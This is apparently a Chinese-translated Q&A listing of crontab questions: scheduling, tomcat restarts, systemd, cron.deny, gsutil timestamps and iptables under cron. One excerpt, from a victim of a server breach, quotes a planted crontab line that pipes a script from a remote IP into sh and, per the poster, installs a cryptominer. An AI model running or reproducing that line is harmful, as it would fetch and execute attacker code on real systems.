crontab

每月第二个星期四运行一次 cronjob
crontab

每月第二个星期四运行一次 cronjob

我想通过执行 Python 脚本来生成报告。此脚本必须在每月第二个星期四凌晨 3:30 运行。如何实现。 如果日期在 8-14 之间,下面的代码可能会有效。 30 3 6-12 * 4 <script> 然而有时,日子并不像预期的那样,就会导致错误。 ...

Admin

从 crontab 重新启动 ea-tomcat85
crontab

从 crontab 重新启动 ea-tomcat85

我已经写了一个脚本来重新启动tomcat服务 # timestamp ts=`date +%m-%d-%Y_%H:%M:%S` echo "$ts: Restarting ea-tomcat85..." &>> /home/account_name/restartservice.log ubic restart ea-tomcat85 &>> /home/account_name/restartservice.log 我想使用 crontab 每天午夜之前运行此脚本,但 cron 作业抛出错误 /home/ac...

Admin

将 crontab 命令转换为 systemd?
crontab

将 crontab 命令转换为 systemd?

我在 centos 中使用 crontab,遇到了很多问题,比如有些命令没有执行或者根本没有运行,只需删除 crontab 文件并放回相同的行即可解决,而我使用的命令没有这个问题 我已将 systemd 视为一种替代方案,但我有点疯狂地想了解它是如何工作的以及如何将我的命令转换为 systemd。 我将放一些我使用的命令,因为我不知道是否可以将它们添加到 systemd,因为在互联网上没有看到任何人有类似的示例: */10 * * * * cd /usr/share/nginx/html/example.com; php wp-cron.php &gt...

Admin

使用 /etc/cron.deny 会产生什么效果?
crontab

使用 /etc/cron.deny 会产生什么效果?

将用户添加到 cron.deny 是否会拒绝 cron 作业运行或编辑 crontab 文件的能力? 手册页说: 运行 cron 作业可以针对不同的用户允许或禁止。为此,请使用 cron.allow 和 cron.deny 文件。 我之所以询问,是因为将用户添加到 cron.deny 后,该用户被拒绝运行 crontab -e,但是该用户现有 cron 作业上的命令仍被允许执行。 ...

Admin

如何在使用 ssh 中的 cron 作业将文件名移动到云存储时为其添加时间戳
crontab

如何在使用 ssh 中的 cron 作业将文件名移动到云存储时为其添加时间戳

我在 Google 计算引擎上构建了一个 ftp 服务器,该服务器以 csv 格式接收来自本地系统的数据。我想在收到这些数据后,使用来自 vm ssh 的 cron 作业将其移动到 Google 云存储。除此之外,我还想在将文件移动到存储桶时将时间戳添加到文件名中。 我尝试过的 cron 任务是 */2 * * * * gsutil mv *.txt gs://univer-bucket/$(date).txt 但这项工作没有成功,我不知道如何保留旧名称并只添加时间戳 提前致谢 :) ...

Admin

计算机启动时运行错过的 cronjobs
crontab

计算机启动时运行错过的 cronjobs

我有一些 cronjobs 在一天中的某些时间运行,但有时我的计算机会在预定运行时关闭。 有什么办法可以让这些程序在计算机重新打开后立即运行吗? ...

Admin

在 crontab 中使用“export”命令的脚本
crontab

在 crontab 中使用“export”命令的脚本

* * * * * /root/attente.sh我在 cron tab:和 attente.sh中有这个:export attente=$(cat /root/switchboard.txt) 如果我export attente=$(cat /root/switchboard.txt)在 shell 中运行,它可以工作,但在 cron 作业中却不行。 请问有什么想法吗? ...

Admin

在启动时附加到屏幕会话
crontab

在启动时附加到屏幕会话

我想要做的是通过 crontab 在启动时启动屏幕会话,然后让用户自动连接到该会话。 这是我当前的 cron 文件: # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # T...

Admin

我的生产服务器被攻破了,我发现了这个脚本。它是诱饵吗?
crontab

我的生产服务器被攻破了,我发现了这个脚本。它是诱饵吗?

几天前,我的 VPS 因垃圾邮件发送者试图进行 ssh 攻击和脚本注入而承受了巨大的负载。此后,我为 REDIS 添加了新的 fail2ban 正则表达式和新的安全措施,看来他们可以从那里进入。我在我的 redis 和 root 用户的 crontab 中找到了此条目。 */1 * * * * cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh 如果 curl 末尾有一个“l”,那么我的服务器就完蛋了。我(小心地)下载并检查了脚本,发现它运行了这个明显的加密货币挖矿程序 ...

Admin

Crontab 每分钟运行脚本
crontab

Crontab 每分钟运行脚本

我目前正在尝试安排一个 cronjob 每分钟运行一个 .sh 脚本文件。 这是我的简单脚本: #!/bin/sh echo "Hello World" >> /Users/navania/crontab-scrip.log 我将其保存在桌面上,并将其命名为notify.sh。然后我打开一个新的终端窗口并输入crontab-e。这打开了一个新的nano文件,我在里面输入: * * * * * /Users/navania/Desktop/notify.sh 我保存并退出了这个 nano 文件。我下一步该怎么做才能让 cronjob ...

Admin

无法在启动时自动运行包含通知发送 (notify-send) 的 bash 脚本
crontab

无法在启动时自动运行包含通知发送 (notify-send) 的 bash 脚本

我正在使用 Linux Mint Cinnamon 19。我写了一个简单的脚本 #!/bin/bash #test notify-send "text" "other text" -i dialog-warning 在执行时通知我。为了在启动时运行脚本,我尝试了以下步骤。但都不起作用。 第一的使用 init.d 目录 制作了一个简单的 bash 脚本 prova.sh,并使用 chmod 命令使其可启动。 复制到 /etc/init.d/ 目录。 建立了到 /etc/rc0.d/ 目录的软链接。 第二...

Admin

HP-UX 中的 Cron 行为
crontab

HP-UX 中的 Cron 行为

我试图通过 HP-UX 环境中由 cron 运行的脚本来监控我的服务器。但是,当由 cron 运行时,if-else 条件无法正常工作。例如,如果出现某些条件,脚本应该发送邮件。但是当由 cron 运行时,程序不会发送邮件。此外,当我尝试独立运行脚本时,邮件会被发送。这是 HP-UX 中的已知问题吗? ...

Admin

cron 作业未在指定时间内执行二进制文件
crontab

cron 作业未在指定时间内执行二进制文件

我想检查执行 cron 作业时使用的环境。我以前让它工作过,但它在某个时候停止了。 这是 crontab 文件中的 cron 作业: 20 13 * * * /usr/bin/env >> /home/user/folder1/environment1.log 通过此行,我希望将环境变量转储到 environment1.log 文件中。 有人建议要检查什么吗? ...

Admin

cron 启动的脚本无法执行 iptables 命令
crontab

cron 启动的脚本无法执行 iptables 命令

我想在启动时运行 cron 文件并执行系统命令,一切运行正常,但如果我使用一些参数调用 iptables 命令,如: iptables -A 输入 -s 192.168.0.161 -j 删除 命令未执行,因为 iptables 为空!我认为 php 脚本没有调用 iptables 的权限,所以我在第一行写了这段代码 system("whoami >> res.txt"); res.txt 中的输出是 root 我的命令在 php 文件中如下所示: system("iptables -A INPUT -s 192.168.0.161...

Admin